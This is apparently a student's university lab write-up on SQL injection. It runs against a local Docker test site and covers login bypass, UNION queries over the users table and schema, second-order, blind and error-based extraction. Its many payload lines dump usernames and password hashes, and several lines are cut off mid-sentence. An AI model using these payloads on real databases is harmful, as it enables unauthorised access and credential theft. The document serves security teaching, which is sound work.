Lab 1 - SIO

This practical class focuses on SQL Injection, how the lack of query validations are exploited, and what types of injections we can explore.

"SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these~risks, an incredible number of systems on the Internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented. It is always good practice to clean and validate all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner. For improved security bind your parameters to the SQL query, and do not create queries based on concatenation of strings, especially if part of this text comes from an external entity."- João Paulo Barraca and Vitor Cunha

SETUP

Inside the Virtual Machine: - 1) Go to Desktop/sqlinjection - 2) Executar $ sudo docker-compose up

This will start the environment and make a webserver available at http://127.0.0.1:8000

Exercises

1.3.

1.3.1 Basic SQL Injections 1

This exercise will take us to a page that presents a standard login form, requiring a login and a password. The form's validation is executed using the query `"SELECT * FROM users where username='".$user."' AND password = '.md5($password).` As we can see, the password is hashed using **md5**, so that's probably not the best path for us to attack from. However, the User Field is not protected at all! We can use this to inject SQL commands. For this exercise, our target is to specify a user and then make the application ignore the rest of the query. We can achieve this by injecting into the User Field the following command: `voldemort' -- //` Isto causa que o resto da query seja ignorada, ficando com a forma:

~~~
  "SELECT * FROM users where username='"Voldemort"' -- ' AND password = '.md5($password)
 ```


Visto que tudo o que está para a frente do **--** está comentado, e Voldemort é um userr


### 1.3.2 Basic SQL Injections 2
 This exercise will take us to a page that is very similar to the one from the previous
 ```
 "SELECT * FROM users where (username='".$user."') AND password = '.md5($password).
 ```
 Note the use of parenthisis to encapsulate the inputed user!
If we tried to use the same exploit as last time, we'd be building a query that looks li
 ```
 voldemort' -- //
 ```
~~~

"SELECT * FROM users where username=('"Voldemort"' -- ') AND password = '.md5($password). `Since the closing parenthisis is also caught in the comment, the query becomes malformed and invalid. We can wrok around this by changing our input to:` voldemort') -- // ```

Which creates the query:

~~~
  "SELECT * FROM users where username=('"Voldemort"') -- ') AND password = '.md5($passwo
 ```
Despite the parenthisis still being commented, we still created a valid query by closing
E Z


### 1.3.3 SQL Injections 1
 For this exercise we're presented with a search bar that allows a user to search for pr
 The query is made using the following format:
 ```
 "SELECT * FROM products WHERE product_name LIKE '".$query."%'
 ```
Unfortunately (for the users, but fortunately for us), the query is used without any sor
~~~

b%' order by 5 -- // `This query will show us all the columns returned by the query (that in this case searches for products starting with a **b**), ordered by the 5th column. Note the use of the **%**, without it, the query wouldn't return any product. This query isn't really all that interesting. Something more fun would be, for example, showing another table from the Database instead, say, the User's table perhaps? This can be achieved with the following injection:` 'union select null,id,username,password,fname from users -- //
```

Which creates the query:
```

~~~~
 "SELECT * FROM products WHERE product_name LIKE '"" 'union select null,id,username,passw
 ```
This wil change what each column from the table shows, with the fields we specified pull
But what if we don't know the Database's table's names, and wanna know which tables exis
 ```
'union select null,null,null,null,table_name from information_schema.tables -- //
 ```
 Creating the query:
 ```
"SELECT * FROM products WHERE product_name LIKE '"" 'union select null,null,null,null,ta
 ```
Which returns all of the tables that exist in the Database :)



### 1.3.4 SQL Second Order Attacks
***This designation (Second Order Attacks) is given to attacks that result in the storag
- João Paulo Barraca and Vitor Cunha

In this exercise we're presented with a page that contains a form allowing users to prov

***Basically, what we have is a field that will present any value we want. The technique

In this case, the vulnerable field is the Username input. By injecting SQL to this field

For example, by using:

 ```
 ' or 1 in (select password from users) -- //
 ```
We'll recieve an error BUT, what we'll also be presented with an error message that show
~~~~

Warning<: 1292: Truncated incorrect DOUBLE value : (...)

```
(Where _(...)_ are all the passwords in the **users** table password column)

 ### 1.3.5 Blind SQL Injection
 ***A Blind SQL injection happens when an attacker is able to determine the content of t
- João Paulo Barraca and Vitor Cunha

For this exercise, we're presented with a page that shows the user's username on the URL
The query for this page is the following:
 ```
 "SELECT * FROM users WHERE username = '".$_GET["user"]."'"
 ```
 Considering the template:
 ```
 voldemort AND <TEST>' -- //
 ```
 Where < TEST > is whatever SQL commands we want to validate.
 For example, we can do:
  ```
 voldemort AND SUBSTRING((select count(id) from users), 1) = N' -- //
 ```
 Where N is any number we want. Creating the Query:
```

"SELECT * FROM users WHERE username = '".$_GET["voldemort AND SUBSTRING((select count(id) from users), 1) = N"]."'" ``` By gradually incrementing N, we can, by **trial and error** get how many users exist in the **users** table (which corresponds to how many users exist overall). We'll know we've hit jackpot (i.e N equals the number of users that exist) when information is shown on the page (meaning that our < TEST > was validated as **TRUE** !) This basically gives us a way to find out anything we want from the database, using an exhaustive, and repetitive form, by basically continously asking the query: "Is < TEST > correct? Yes? Cool! No? Well, how about this?"

1.3.6 Error based data extraction The same page we used for exercise **1.3.1** can also be used to extract extra information through error messages! ***This works by generating an error whose content is the information we wish to obtain. This possibility is one of the reasons why verbose errors should never be presented to users***

As a reminder, the query for this page is the following: `"SELECT * FROM users where username='".$user."' AND password = '.md5($password).`

Considering the injection: `' or 1 in (select @@version) -- //` This will create the query: `"SELECT * FROM users where username='' or 1 in (select @@version) -- //' AND password = '.md5($password)."'"` And showcase on the page, the error message:

```
  Warning: 1292: Truncated incorrect DOUBLE value: '8.0.17'
 ```
 Hurray, we now know the version number..which doesn't really interest us much , but wit
 #### Return the hashed password of the admin user (or any user, really)
```
```

' or 1 in (select password from users where username = 'admin') -- // ```

Get info from the **users** table

```
 ' or 1 in (select username from users where id=1) -- //
```
```

List the tables of the information_schema first database. You can obtain the list c
```

' or 1=CAST((select group_concat(name) from INFORMATION_SCHEMA.INNODB_TABLES) AS SIGNED) -- // ``` This last example is especially cool since it allows us to dump all rows from any column in any table. It basically contacts multiple values so that the result can be included in the error message

**List the usernames of all users stored in the users table.**

```
`'or 1=CAST((select group_concat(username) from users) AS SIGNED)-- //`
 ```

List the passwords of all users stored in the users table.
```

'or 1=CAST((select group_concat(password) from users) AS SIGNED)-- //` ```

References

https://joao.barraca.pt/teaching/sio/2019/p/guide-vulnerabilities-sql-injection.pdf

Diogo Silva, 2019
```